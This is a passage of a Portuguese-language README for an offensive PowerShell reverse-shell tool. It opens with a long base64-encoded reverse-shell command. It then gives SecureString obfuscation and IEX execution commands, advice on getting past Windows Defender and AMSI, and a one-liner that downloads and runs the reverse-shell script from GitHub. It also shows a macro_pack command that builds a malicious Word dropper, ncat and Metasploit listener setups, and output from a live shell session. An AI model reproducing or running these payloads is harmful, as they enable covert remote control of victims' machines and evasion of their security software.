CQAZAAgACsAPQAgACQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiACwAIAAwACwAIAAkAGIAeQApADsAIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABzAC4ARABhAHQAYQBBAHYAYQBpAGwAYQBiAGwAZQApADsAIABpAGYAIAAoACQAYgB5ACAALQBnAHQAIAAwACkAIAB7ACAAJABkACAAPQAgACQAZAAuAFQAcgBpAG0AKAApADsAIABpAGYAIAAoACQAZAAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAdAByAHkAIAB7ACAAJAByACAAPQAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgAC0AQwBvAG0AbQBhAG4AZAAgACQAZAAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHIAIAA9ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4AIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwA7ACAAfQAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGQAOwAgAGkAZgAgACgAJAByAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAkAHIAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcgA7ACAAfQAgAH0AIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABiAHkAIAAtAGcAdAAgADAAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQwBsAGkAZQBuAHQAIABoAGEAcwAgAGQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkACEAIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAbAAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABsAC4AUwBlAHIAdgBlAHIALgBDAGwAbwBzAGUAKAApADsAIAAkAGwALgBTAGUAcgB2AGUAcgAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABsADsAIAB9ACAAaQBmACAAKAAkAHcAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAdwAuAEMAbABvAHMAZQAoACkAOwAgACQAdwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAB3ADsAIAB9ACAAaQBmACAAKAAkAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAcwAuAEMAbABvAHMAZQAoACkAOwAgACQAcwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABzADsAIAB9ACAAaQBmACAAKAAkAGMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAYwAuAEMAbABvAHMAZQAoACkAOwAgACQAYwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABjADsAIAB9ACAAaQBmACAAKAAkAGIAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAYgAuAEMAbABlAGEAcgAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGIAOwAgAH0AIABpAGYAIAAoACQAcgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcgA7ACAAfQAgAGkAZgAgACgAJABkACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABkADsAIAB9ACAAWwBHAEMAXQA6ADoAQwBvAGwAbABlAGMAdAAoACkAOwAgAH0AIAB9ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcAA7AA==

O script codificado solicitará entrada. Veja o script ligeiramente alterado aqui - usado o script minificado para reduzir o comprimento do comando.

SecureString

Para gerar uma SecureString do PowerShell a partir de um script PowerShell, execute o seguinte comando PowerShell (a string pode ficar muito longa):```pwsh ConvertFrom-SecureString -k (0..15) (ConvertTo-SecureString (Get-Content -Path $script -Raw) -AsPlainText -Force)

Para decodificar e executar uma SecureString do PowerShell, execute o seguinte comando PowerShell:```pwsh
IEX((New-Object System.Net.NetworkCredential("", (ConvertTo-SecureString -k (0..15) $string))).Password)

A maioria dos produtos de segurança sinalizará um script PowerShell como malicioso se o script usar excessivamente o símbolo &.

Verifique o script de shell reverso ofuscado manualmente e transformado aqui.

Verifique o script de shell bind ofuscado manualmente e transformado aqui.

Bypass do AMSI

Se o Windows Defender estiver bloqueando a execução do seu script PowerShell ou comando codificado, gere um código de bypass do AMSI a partir do AMSI.fail e execute-o na sua sessão do PowerShell. Créditos ao autor!

Após executar o código de bypass do AMSI, você pode baixar o conteúdo do seu script PowerShell da web usando este one-liner:```pwsh IEX([System.IO.StreamReader]::New([System.Net.WebRequest]::Create('https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1').GetResponse().GetResponseStream()).ReadToEnd());

Saiba mais sobre bypass de AMSI em [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell). Créditos ao autor!

## MS Word Integration

Para incorporar um script PowerShell em um documento do MS Word, confira a ferramenta [macro_pack](https://github.com/sevagas/macro_pack). Créditos ao autor!

Execute o seguinte comando no PowerShell ou no Prompt de Comando:```fundamental
echo "https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/invoke_expression/prompt/powershell_reverse_tcp_prompt.ps1" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc

Configurar um Listener

Para configurar um listener, abra seu console preferido no Kali Linux e execute um dos exemplos abaixo.

Configure o listener ncat:```fundamental ncat -nvlp 9000

Configurar listener `multi/handler`:```fundamental
msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.8.185

set LPORT 9000

exploit

Tempo de execução```fundamental

┌──(root💀kali)-[~] └─# ncat -nvlp 9000 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::9000 Ncat: Listening on 0.0.0.0:9000 Ncat: Connection from 192.168.1.109. Ncat: Connection from 192.168.1.109:50418. PS>Get-Host

Name : ConsoleHost Version : 5.1.19041.2673 InstanceId : 3d17d7be-e720-4f39-93a2-cf509887f57a UI : System.Management.Automation.Internal.Host.InternalHostUserInterface CurrentCulture : hr-HR CurrentUICulture : en-US PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy DebuggerEnabled : True IsRunspacePushed : False Runspace : System.Management.Automation.Runspaces.LocalRunspace

PS>

powershell-reverse-tcp

Mais Populares